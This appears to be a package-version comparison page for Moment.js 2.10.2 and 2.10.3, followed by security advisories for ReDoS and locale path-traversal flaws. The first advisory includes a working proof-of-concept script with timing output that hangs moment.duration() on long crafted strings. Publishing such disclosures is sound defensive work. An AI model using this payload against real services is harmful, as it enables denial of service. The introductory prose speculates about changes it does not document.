Moment.js saw a minor version bump from 2.10.2 to 2.10.3, marking a subtle but important update for developers relying on this popular date and time manipulation library. Both versions share the same core functionality – parsing, validating, manipulating, and displaying dates in JavaScript. The development dependencies remain identical, indicating no significant shifts in the project's tooling or testing environment between these releases. This consistency suggests a focus on refining existing features rather than introducing major architectural changes.
The key difference lies in the release date, with version 2.10.3 arriving approximately a month after 2.10.2 (May 13, 2015, compared to April 9, 2015). This time gap implies bug fixes, performance improvements, or minor feature enhancements incorporated in the newer version. While the specifics aren't detailed in the provided metadata, developers should generally favor the latest stable release (2.10.3) to benefit from any addressed issues and potential optimizations. Migrating between these versions should be seamless given the identical dependencies, assuming no deprecated features were removed. For developers already utilizing Moment.js, this update offers a low-risk opportunity to ensure they are leveraging the most polished iteration of the library for their date and time handling needs. Consulting the official Moment.js changelog for this period will reveal the precise changes implemented.
All the vulnerabilities related to the version 2.10.3 of the package
Regular Expression Denial of Service in moment
Versions of moment
prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration()
.
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Please update to version 2.11.2 or later.
Regular Expression Denial of Service in moment
Affected versions of moment
are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Update to version 2.19.3 or later.
Path Traversal: 'dir/../../filename' in moment.locale
This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr
is directly used to switch moment locale.
This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).
Sanitize user-provided locale name before passing it to moment.js.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: